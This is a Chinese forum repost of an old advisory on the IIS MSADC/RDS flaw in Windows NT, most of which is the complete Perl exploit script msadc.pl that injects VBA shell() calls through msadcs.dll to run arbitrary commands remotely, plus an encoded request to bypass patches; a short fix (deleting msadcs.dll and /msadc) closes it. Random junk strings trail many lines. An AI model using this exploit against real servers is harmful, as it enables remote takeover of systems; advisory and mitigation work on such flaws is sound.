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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) F'j:\F6C;  
m'qMcCE  
涉及程序: ^m1Rw|  
Microsoft NT server \R-u+ci$ZY  
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描述: N'`*#UI+  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 n1ED _9  
6:EO  
详细: 7GP?;P  
如果你没有时间读详细内容的话,就删除: pb{P[-f  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 5e2m EQU>  
有关的安全问题就没有了。 [ objdQU`  
t'Q48QAb?  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 _ _)Z Q  
XPEjMm'*b3  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 akqXh 9g  
关于利用ODBC远程漏洞的描述,请参看: `a6;*r y  
X2e|[MWkp  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm s{q2C}=$?D  
Pdn.c1[-a  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ADBw" ? >  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp +bO{U C[  
8Peqm?{5Y5  
这里不再论述。 Zh(f2urKV  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: by06!-P0[  
^2??]R&Q  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset O.$<Bf9  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! .Nf*Yqs0  
m|7g{vHVV  
NFSPw` f  
#将下面这段保存为txt文件,然后: "perl -x 文件名" AjlG_F  
V+Tj[:ok  
#!perl ^Ue.9#9T&g  
# Ci*5E$+\  
# MSADC/RDS 'usage' (aka exploit) script ~*[}O)7#  
# N4Lk3]  
# by rain.forest.puppy iK#{#ebAoW  
# T5Fah#-4  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me w}1)am &pD  
# beta test and find errors! eQLa.0  
=_1" d$S&  
use Socket; use Getopt::Std; ld?M,Qd  
getopts("e:vd:h:XR", \%args); K7l{&2>?  
AHA*yC  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 14&EdTG.  
)3 r1; ^W  
if (!defined $args{h} && !defined $args{R}) { S; c=6@"  
print qq~ 9e=*jRs]l^  
Usage: msadc.pl -h <host> { -d <delay> -X -v } PT4`1Oy}/1  
-h <host> = host you want to scan (ip or domain) 7RLh#D|  
-d <seconds> = delay between calls, default 1 second ]S[r$<r$  
-X = dump Index Server path table, if available 0PfFli`2;  
-v = verbose 5[R}MhLZ  
-e = external dictionary file for step 5 TB[vpTC9)  
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Or a -R will resume a command session `Q8 D[  
!^7:Rr _  
~; exit;} [Vf|4xcD  
m88~+o<G%  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; B%pvk.`  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} xn@jL;+<-  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Qh[t##I/  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); w#1dO~  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} t}tKm  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } `WB|h)Y  
l>iU Q&V  
if (!defined $args{R}){ $ret = &has_msadc; 96.Wfx  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} <#Lw.;(U;k  
h>/ViB@"W|  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" vuZ<'?Nm  
. "cmd /c "; ?4Lo"igAA  
$in=<STDIN>; chomp $in; 1=X=jPwO C  
$command="cmd /c " . $in ; L8G4K)  
 4{?x(~  
if (defined $args{R}) {&load; exit;} tWiV0PTI  
:1=?/8h  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; CQ`(,F3(  
&try_btcustmr; $>UzXhf}\  
Jc)1}  
print "\nStep 2: Trying to make our own DSN..."; Dk-L4FS  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; c`.:"i" k3  
r&[~/m8zl  
print "\nStep 3: Trying known DSNs..."; la4 ,Z  
&known_dsn; HA%ye"(y8  
GEA;9TU|V  
print "\nStep 4: Trying known .mdbs..."; M($},xAvDU  
&known_mdb; > 95Cs`>d  
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if (defined $args{e}){ P Cf|^X#B  
print "\nStep 5: Trying dictionary of DSN names..."; A-io-P7qyj  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } NIfc/%  
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print "Sorry Charley...maybe next time?\n"; =<05PB  
exit; _:L*{=N  
.T|NB8 rS  
############################################################################## xD=D *W  
=/;_7|ssd  
sub sendraw { # ripped and modded from whisker JdHc'WtS!|  
sleep($delay); # it's a DoS on the server! At least on mine... Kq$Zyf=E  
my ($pstr)=@_; ie!4z34  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || W!k6qTz)  
die("Socket problems\n"); 3EvA 5K.  
if(connect(S,pack "SnA4x8",2,80,$target)){ #+;=ijyF  
select(S); $|=1; @_Zx'mTI  
print $pstr; my @in=<S>; 6`C27  
select(STDOUT); close(S); yFt7fdl2  
return @in; DX"; v J  
} else { die("Can't connect...\n"); }} WI6E3,ejB1  
K*9b `%  
############################################################################## =;H'~  
n@Ag`}  
sub make_header { # make the HTTP request CnH R&`  
my $msadc=<<EOT 4L e5Ms/  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 Z|c9%.,  
User-Agent: ACTIVEDATA yLx.*I^6  
Host: $ip [ q&J"dt  
Content-Length: $clen c)8wO=!  
Connection: Keep-Alive Ic K=E ]p  
LXLDu2/@  
ADCClientVersion:01.06 u-_$?'l;~  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 7gwZ9Fob  
IdxToMr  
--!ADM!ROX!YOUR!WORLD! 4AYc 8Z#'  
Content-Type: application/x-varg Xoy1Gi?  
Content-Length: $reqlen Z?.*.<"Sj  
v+#j>   
EOT 6bcrPf}  
; $msadc=~s/\n/\r\n/g; <.b$ gX  
return $msadc;} |S{P`)z%f  
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############################################################################## Q /c WV  
hD1AK+y  
sub make_req { # make the RDS request \z9?rvT:  
my ($switch, $p1, $p2)=@_; (J&Xo.<Z-  
my $req=""; my $t1, $t2, $query, $dsn; mM* yv  
}i&dZTBGW  
if ($switch==1){ # this is the btcustmr.mdb query "yTh +=  
$query="Select * from Customers where City=" . make_shell(); a*j <TR  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . j9}0jC2Tb  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} wsrx|n[]  
V|\A?   
elsif ($switch==2){ # this is general make table query dV{Hn {(  
$query="create table AZZ (B int, C varchar(10))"; _}@n_E  
$dsn="$p1";} b@/ON}gX  
4i/q^;`  
elsif ($switch==3){ # this is general exploit table query rR@n> Xx  
$query="select * from AZZ where C=" . make_shell(); J&:W4\ m  
$dsn="$p1";} $ bNe0  
Hi_Al,j:  
elsif ($switch==4){ # attempt to hork file info from index server ]B3FTqR{i  
$query="select path from scope()"; vvAk<[  
$dsn="Provider=MSIDXS;";} x{>Y$t]  
iBQBHF   
elsif ($switch==5){ # bad query W \}}gIEM+  
$query="select"; $|(|Qzi%  
$dsn="$p1";} S7ehk*`  
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$t1= make_unicode($query); I ~L Q1 _  
$t2= make_unicode($dsn); F/*fQAa"  
$req = "\x02\x00\x03\x00"; kA%OF*%|6  
$req.= "\x08\x00" . pack ("S1", length($t1)); .k`*$1?73x  
$req.= "\x00\x00" . $t1 ; z<6P3x|  
$req.= "\x08\x00" . pack ("S1", length($t2)); }c4E 2c  
$req.= "\x00\x00" . $t2 ; :.o=F`W  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; gAA %x 7  
return $req;} ;"Y;l=9_  
-\'.JA_  
############################################################################## qTHg[sME  
l5';?>!s  
sub make_shell { # this makes the shell() statement p@8krOo`  
return "'|shell(\"$command\")|'";} kg I=0W>  
@ P"`=BU&  
############################################################################## o+-Ge J  
./nYXREO|  
sub make_unicode { # quick little function to convert to unicode udD* E~1q  
my ($in)=@_; my $out; ~hz@9E]O  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 7e4tUAiuU  
return $out;} SKSAriS~  
~5 pC$SC6>  
############################################################################## #/t>}lc  
92aDHECo  
sub rdo_success { # checks for RDO return success (this is kludge) z]l-?>Zbg  
my (@in) = @_; my $base=content_start(@in); V87ee,  
if($in[$base]=~/multipart\/mixed/){ o\ow{ gh9  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} y'!p>/%v  
return 0;} +%}5{lu_e  
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############################################################################## 3cfZ!E~^kc  
[wio/wc  
sub make_dsn { # this makes a DSN for us ).+xcv   
my @drives=("c","d","e","f"); 7 Mki?EG  
print "\nMaking DSN: "; O&gwr  
foreach $drive (@drives) { OpbT63@L  
print "$drive: ";  TXD^Do5^  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .  %*5g<5  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" _"!{7e`Z  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); (2S!$w%  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; Gj7QG IKx  
return 0 if $2 eq "404"; # not found/doesn't exist =*:[(Py1  
if($2 eq "200") { W|H4i;u  
foreach $line (@results) { s/G5wRl<  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} {`K]sa7`  
} return 0;} oa&US_  
m>uI\OY{n  
############################################################################## p#;dLM/EA  
iTugvb  
sub verify_exists { D;^ZWz0  
my ($page)=@_; vQBY1-S  
my @results=sendraw("GET $page HTTP/1.0\n\n"); dVVvG]  
return $results[0];} SEQO2`]e:  
bm tJU3Rm  
############################################################################## GrLM${G  
c(Uj'uLc  
sub try_btcustmr { *]:G7SW{  
my @drives=("c","d","e","f"); +A'q#~yILa  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Jl}!CE@-  
>|_gT%]5  
foreach $dir (@dirs) { y13CR2t6  
print "$dir -> "; # fun status so you can see progress -Ty<9(~S  
foreach $drive (@drives) { qN1e{T8u  
print "$drive: "; # ditto \9>g;qPg}  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; _yxe2[TD  
$reqlenlen=length( "$reqlen" ); J"D&q  
$clen= 206 + $reqlenlen + $reqlen; nXM9Px!  
lNh=>D Pu  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); M=\d_O#;Z  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} (iCZz{l@~  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Nn,vdu{^2  
do=x 9k@Q  
############################################################################## UPVO~hB;  
'#McY'.D T  
sub odbc_error { KM_)7?`  
my (@in)=@_; my $base; []=FZ`4  
my $base = content_start(@in); cy&  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this  u]1-h6  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ]s*[Lib  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Bt*&L[&57  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; uFrJ:l+  
return $in[$base+4].$in[$base+5].$in[$base+6];} w>z8c3Dq}  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; x;ERRK  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . $vgmoJ@X0  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 5S|}:~7T  
q*F~~J!P  
############################################################################## ]} 5I>l  
+ +T "+p  
sub verbose { q#Yg0w~  
my ($in)=@_; >%n8W>^^4  
return if !$verbose; 33{;[/4  
print STDOUT "\n$in\n";} qXP1Q3  
HC9vc,Fp  
############################################################################## M]6w^\4j9  
c]%;^)  
sub save { k Z+q  
my ($p1, $p2, $p3, $p4)=@_; zH=/.31Q  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; vu_>U({. T  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Xa{~a3Wy  
close OUT;} =9DhO7I'  
v|4STR  
############################################################################## nxn[ ~~  
i_[ HcgT-  
sub load { Q8;x9o@p  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; F1?CqN M  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 'uP'P#  
@p=<IN>; close(IN); (opROsFh  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); AQnJxIL:  
$target= inet_aton($ip) || die("inet_aton problems"); z&C{8aQ'  
print "Resuming to $ip ..."; {dy` %It  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; a2c x  
if($p[1]==1) { Z%Tq1O  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; a!c/5)v(  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; w2uRN?  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ;S=62_ Un  
if (rdo_success(@results)){print "Success!\n";} @MN}^umx`  
else { print "failed\n"; verbose(odbc_error(@results));}} ;e#>n!<u  
elsif ($p[1]==3){ vWqyZ-p,q  
if(run_query("$p[3]")){ aWHd}%  
print "Success!\n";} else { print "failed\n"; }} 2p$n*|T&c  
elsif ($p[1]==4){ \yJZvhUk  
if(run_query($drvst . "$p[3]")){ v{mv*`~nA\  
print "Success!\n"; } else { print "failed\n"; }} EFa{O`_@U  
exit;} P|unUW(P  
"xe7Dl  
############################################################################## 4cXAT9  
S\! a"0$  
sub create_table { }|Hw0zP.  
my ($in)=@_; 26\HV  
$reqlen=length( make_req(2,$in,"") ) - 28;  /gqqKUx  
$reqlenlen=length( "$reqlen" ); ]Wy^VcqX  
$clen= 206 + $reqlenlen + $reqlen; [ -9)T  
my @results=sendraw(make_header() . make_req(2,$in,"")); =R8f)UQYx  
return 1 if rdo_success(@results); (ZE%tbm2  
my $temp= odbc_error(@results); verbose($temp); $Q`yNEc  
return 1 if $temp=~/Table 'AZZ' already exists/; -,K*~ z.l  
return 0;} ,GdxUld  
6T^N!3p_  
############################################################################## oJlN.Q#u&  
m+D2hK*  
sub known_dsn { .;<7424(%  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 1zb$5{,|  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", !XgQJ7y_Z  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Qq`3S>  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); NDB*BmG  
bjM-Hd/K  
foreach $dSn (@dsns) { K?h[.`}  
print "."; 07$/]eO%C  
next if (!is_access("DSN=$dSn")); 2k.S[?)  
if(create_table("DSN=$dSn")){ cOzg/~\1  
print "$dSn successful\n"; #W>x\  
if(run_query("DSN=$dSn")){ q*HAIw[<y  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { lEO?kn.:z  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 0=N4O!X9  
vbr~<JT=  
##############################################################################  'P@=/  
~hS .\h  
sub is_access { LFE p  
my ($in)=@_; /`7 IK  
$reqlen=length( make_req(5,$in,"") ) - 28; E0sbU<11  
$reqlenlen=length( "$reqlen" ); "_ nX5J9  
$clen= 206 + $reqlenlen + $reqlen; )HJK '@  
my @results=sendraw(make_header() . make_req(5,$in,"")); + 6x"trC  
my $temp= odbc_error(@results); GAg.p?Sq  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); > [Xm|A#  
return 0;} 2. StG(Y!  
[WcS[](ob  
############################################################################## Q9` s_4  
#[no~&E  
sub run_query { O"@?U  
my ($in)=@_; c_~XL^B@  
$reqlen=length( make_req(3,$in,"") ) - 28; 2B6^ ]pSk  
$reqlenlen=length( "$reqlen" ); EG F:xl  
$clen= 206 + $reqlenlen + $reqlen; TZ^{pvBy  
my @results=sendraw(make_header() . make_req(3,$in,"")); pWMiCXnW  
return 1 if rdo_success(@results); D"`%|`O  
my $temp= odbc_error(@results); verbose($temp); -6u H.  
return 0;} 3cmbK  
5|yZEwq  
############################################################################## 6tOP}X  
"AT&!t[J  
sub known_mdb { bZxv/\  
my @drives=("c","d","e","f","g"); o:Ln._bj  
my @dirs=("winnt","winnt35","winnt351","win","windows"); RM)1*l`!E  
my $dir, $drive, $mdb;  ]a78tTi  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Sv.KI{;v$  
MNkKy(Za  
# this is sparse, because I don't know of many ' " Bex`  
my @sysmdbs=( "\\catroot\\icatalog.mdb", V %i<;C  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Zk wJ.SuU  
"\\system32\\certmdb.mdb", PqTYAN&F  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% b OW}"  
uEBQoP2  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", Xyb8u})p'  
"\\cfusion\\cfapps\\forums\\forums_.mdb", K3La9O)>  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", q A.+U:I8  
"\\cfusion\\cfapps\\security\\realm_.mdb", |c<XSX?ir  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", CKJAZ2  
"\\cfusion\\database\\cfexamples.mdb", Jm?l59bv v  
"\\cfusion\\database\\cfsnippets.mdb", i:g{{Uuv  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", OlIT|bzkb  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", .=?Sz*3  
"\\cfusion\\brighttiger\\database\\cleam.mdb", t$aVe"uM  
"\\cfusion\\database\\smpolicy.mdb", 6!*K/2:O  
"\\cfusion\\database\cypress.mdb", ERk kS Tp  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", J=b*  
"\\website\\cgi-win\\dbsample.mdb", rU],J!LF  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ZQ@3P7T  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 7TP$  
); #these are just #g,H("Qy({  
foreach $drive (@drives) { AzZi{Q ?  
foreach $dir (@dirs){ pMOD\J:l,  
foreach $mdb (@sysmdbs) { N[>:@h  
print "."; "_t4F4z  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ X8 8F>1}  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 8a7YHUL<3i  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ QT_Srw@  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; L+_8QK<  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ^n t~-%  
X z8$Xz,O  
foreach $drive (@drives) { <|otZJ'2r  
foreach $mdb (@mdbs) { ! &y  
print "."; [qSQ#Qzi2i  
if(create_table($drv . $drive . $dir . $mdb)){ k9cK b f@  
print "\n" . $drive . $dir . $mdb . " successful\n"; $$42pb.  
if(run_query($drv . $drive . $dir . $mdb)){ eDuX"/kHA  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; Bhj:9%`  
} else { print "Something's borked. Use verbose next time\n"; }}}} &.hoC Po$  
} JL@F~U9  
v<j2L"bj  
############################################################################## W^wd ([  
6ezcS}:+  
sub hork_idx { ~M*7N@D  
print "\nAttempting to dump Index Server tables...\n"; sb'lZFSP~s  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; sbzeY 1  
$reqlen=length( make_req(4,"","") ) - 28; 9-B@GFB;8  
$reqlenlen=length( "$reqlen" ); D^N[=q99&e  
$clen= 206 + $reqlenlen + $reqlen;  X@cSP7b  
my @results=sendraw2(make_header() . make_req(4,"","")); ?b5H 2 W  
if (rdo_success(@results)){ eVTO#R*'|  
my $max=@results; my $c; my %d; }&mj.hGv  
for($c=19; $c<$max; $c++){ {798=pC<.  
$results[$c]=~s/\x00//g; AYt*'Zeg!s  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ]Uu aN8  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; iL+y(]  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; r9<V%PH v  
$d{"$1$2"}="";} fa"\=V2S  
foreach $c (keys %d){ print "$c\n"; } ZH% we  
} else {print "Index server doesn't seem to be installed.\n"; }} Ohc^d"[7  
hRk,vB ]  
############################################################################## _<XgC\4O|  
k/U>N|5  
sub dsn_dict { R!9qQn?  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 3zbXAR*  
while(<IN>){ )TM!ms+K  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; D_Guc8*  
next if (!is_access("DSN=$dSn")); >cTjA):  
if(create_table("DSN=$dSn")){ R^uc%onP  
print "$dSn successful\n"; \` &ej{  
if(run_query("DSN=$dSn")){ Bf/ |{@  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { gUspGsfr  
print "Something's borked. Use verbose next time\n";}}} N_0pO<<cs  
print "\n"; close(IN);} ::ri3Tu  
O6/xPeak  
############################################################################## c+H)ed>  
wBLsz/  
sub sendraw2 { # ripped and modded from whisker &u("|O)w$  
sleep($delay); # it's a DoS on the server! At least on mine... sLNNcj(Cy>  
my ($pstr)=@_; Y4`QK+~fH  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || V>AS%lXj  
die("Socket problems\n"); JfSdUWxT  
if(connect(S,pack "SnA4x8",2,80,$target)){ ?x'w~;9R/  
print "Connected. Getting data"; ~C0 Pu.{o  
open(OUT,">raw.out"); my @in; L -YNz0A  
select(S); $|=1; print $pstr;  Ll?g.z"  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} vABXXB  
close(OUT); select(STDOUT); close(S); return @in; #.o0mguU  
} else { die("Can't connect...\n"); }} Q]^Yi1PbS  
<;aJ#qT  
############################################################################## LGAX"/LX  
A4}#U=3tI  
sub content_start { # this will take in the server headers .izf#r:<  
my (@in)=@_; my $c; 6vF/e#},  
for ($c=1;$c<500;$c++) { pcNSL'u+  
if($in[$c] =~/^\x0d\x0a/){ kwO eHdV^  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } y ^SyhG,V[  
else { return $c+1; }}} ;c$@@ l  
return -1;} # it should never get here actually 4? v,wq  
,! hnm  
############################################################################## V +.Q0$~F5  
\<=IMa0  
sub funky { &lUNy L  
my (@in)=@_; my $error=odbc_error(@in); xuF5/(__  
if($error=~/ADO could not find the specified provider/){ g [AA,@p+  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; j!7Qw 8  
exit;} ZRPE-l_3:  
if($error=~/A Handler is required/){ my4\mi6P  
print "\nServer has custom handler filters (they most likely are patched)\n"; S{- f $Q*  
exit;} tGC2 ^a#~  
if($error=~/specified Handler has denied Access/){ Tn /Ut}]O  
print "\nServer has custom handler filters (they most likely are patched)\n"; 22|"K**3J|  
exit;}} r 3|4gG  
'd+:D'  
############################################################################## P sp^@  
.N!{ U  
sub has_msadc { 6W$rY] h!  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); [1Uz_HY["3  
my $base=content_start(@results); Ajg\aof0{  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); uS&LG#a  
return 0;} 0`6),R'x  
rtus`A5p  
######################## 1g~y]iQ  
A*Rn<{U  
o_(0  
解决方案: 7pP+5&*  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 95[wM6?J  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 b[yE~EQxr  
'bC]M3P  
拿出来充数 哈哈
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